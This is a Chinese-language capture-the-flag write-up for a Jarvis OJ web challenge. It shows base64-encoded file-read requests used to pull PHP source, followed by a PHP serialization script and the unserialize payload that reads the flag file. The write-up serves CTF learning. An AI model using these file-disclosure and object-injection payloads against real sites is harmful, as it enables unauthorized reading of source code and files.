神盾局的秘密

神盾局的秘密

题目地址:http://web.jarvisoj.com:32768

首先F12查看源码,发现showimg.php?img=c2hpZWxkLmpwZw==

进入Network中打开showimg.php?img=c2hpZWxkLmpwZw==,是一堆乱码,看见showing.php应该是文件包含类的题目。

Network

c2hpZWxkLmpwZw==是base64编码,解码后为shield.jpg,所以img查看的内容需要base64加密。

首先先查看showing.php,加密后为c2hvd2luZy5waHA=,payload img=c2hvd2luZy5waHA=,用view-source查看源码。

showing.php

对$f解码后过滤../\\pctf

接着查看index.php的内容,加密aW5kZXgucGhw,payload img=aW5kZXgucGhw+view-source.

index.php

引入shield.php,有类名Shield,出现反序列化函数unserialize,目前还没有思路。

再看shield.php,加密c2hpZWxkLnBocA==,payload img=c2hpZWxkLnBocA== +view-source.

shield.php

第一行说flag在pctf.php中,Shield类出现,也过滤了..,/,\\,没有过滤pctf

由于前面showing.php中过滤了pctf,所以不能直接查看,所以利用反序列化漏洞。

开始写脚本。

<?php
//flag is in pctf.php
class Shield {
    public $file;
    function __construct($filename = '') {
        $this -> file = $filename;
    }

    function readfile() {
        if (!empty($this->file) && stripos($this->file,'..')===FALSE  
        && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
            return @file_get_contents($this->file);
        }
    }
}

$ctf = new Shield('pctf.php');
echo serialize($ctf);
?>

得到序列化后的结果O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";},构造payload ?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";},F12后看到flag。

flag



总结:

此题是文件包含和反序列化类的题,首先要想到base64加密,之后查看各个php文件,得到线索,想办法查看pctf.php,showing.php都不通,只能在index.php中的序列化上下手。

-------------本文结束感谢您的阅读-------------